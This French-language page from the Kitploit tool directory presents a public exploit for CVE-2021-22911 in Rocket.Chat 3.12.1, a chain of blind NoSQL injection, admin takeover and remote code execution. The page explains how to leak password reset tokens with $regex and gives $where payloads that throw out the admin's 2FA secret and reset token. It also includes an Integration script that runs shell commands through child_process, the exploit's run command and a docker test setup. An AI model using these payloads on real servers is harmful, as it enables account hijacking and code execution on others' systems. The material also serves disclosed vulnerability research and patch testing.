Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-22911 — Injection NoSQL aveugle avant authentification conduisant à une exécution de code à distance dans Rocket Chat 3.12.1 | Kitploit
Outils/GitHubGitHub/csenox/cve-2021-22911
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Injection NoSQL aveugle avant authentification conduisant à une exécution de code à distance dans Rocket Chat 3.12.1

Voir le dépôt
618il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-22911

Injection NoSQL aveugle sans authentification menant à l'exécution de code à distance dans Rocket Chat 3.12.1

  • La méthode getPasswordPolicy est vulnérable aux attaques par injection NoSQL et ne nécessite pas d'authentification/autorisation. Elle peut être utilisée pour prendre le contrôle de comptes en divulguant les jetons de réinitialisation de mot de passe. Prendre le contrôle d'un compte administrateur mène à l'exécution de code à distance.

Explication

  1. Pirater un compte utilisateur (sans authentification)
  • Il y a une injection NoSQL dans le point de terminaison getPasswordPolicy dans le paramètre token de réinitialisation de mot de passe, qui prend un objet JSON nous permettant d'utiliser l'opérateur $regex. Nous l'utilisons pour effectuer une injection NoSQL aveugle afin d'obtenir le jeton de réinitialisation.
  1. Élévation de privilège vers l'administrateur (authentifié)
  • Ainsi, l'utilisateur admin est très probablement protégé par 2FA. Même si nous changeons le mot de passe de l'admin via (1), il demandera un code 2FA lors de la connexion.

  • Le point de terminaison API users.list prend un paramètre de requête qui est vulnérable à l'injection NoSQL. Nous pouvons également récupérer des données en provoquant une erreur.

  • Nous exécutons la requête suivante pour obtenir le secret 2FA de l'admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Ensuite, nous faisons simplement (1) pour réinitialiser le mot de passe de l'admin et utilisons le secret 2FA pour générer un code que nous pouvons utiliser pour nous connecter.

  • Mis à jour : Vous pouvez également récupérer le jeton de réinitialisation de la même manière que vous avez récupéré le secret 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE (Authentifié - Admin)
  • Rocket.Chat dispose d'une fonctionnalité appelée Integrations qui permet de créer des webhooks entrants et sortants. Ces webhooks peuvent avoir des scripts associés qui sont exécutés lorsque le webhook est déclenché.
  • Nous créons une intégration avec le script suivant :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Ensuite, nous déclenchons simplement le webhook pour obtenir RCE :)

Utilisation

  • Vous aurez besoin de l'email d'un utilisateur à faibles privilèges qui n'a pas configuré 2FA. ( -u )
  • Vous aurez également besoin de connaître l'email de l'administrateur. Ce n'est pas un problème si l'admin est protégé par 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Environnement

  • Testé sur Rocket Chat 3.12.1
  • Créer votre propre environnement de test avec docker :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
  • Activer la politique de mot de passe
  • Activer 2FA pour l'administrateur
  • Enregistrer un utilisateur normal.

REMARQUE : Si vous ne voulez pas que l'administrateur soit protégé par 2FA, vous pouvez procéder comme suit.

  1. Envoyer un email de mot de passe oublié
  2. Obtenir le jeton de réinitialisation pour l'admin
  3. Changer le mot de passe en utilisant le jeton de réinitialisation obtenu
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Crédits

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Télécharger l’outil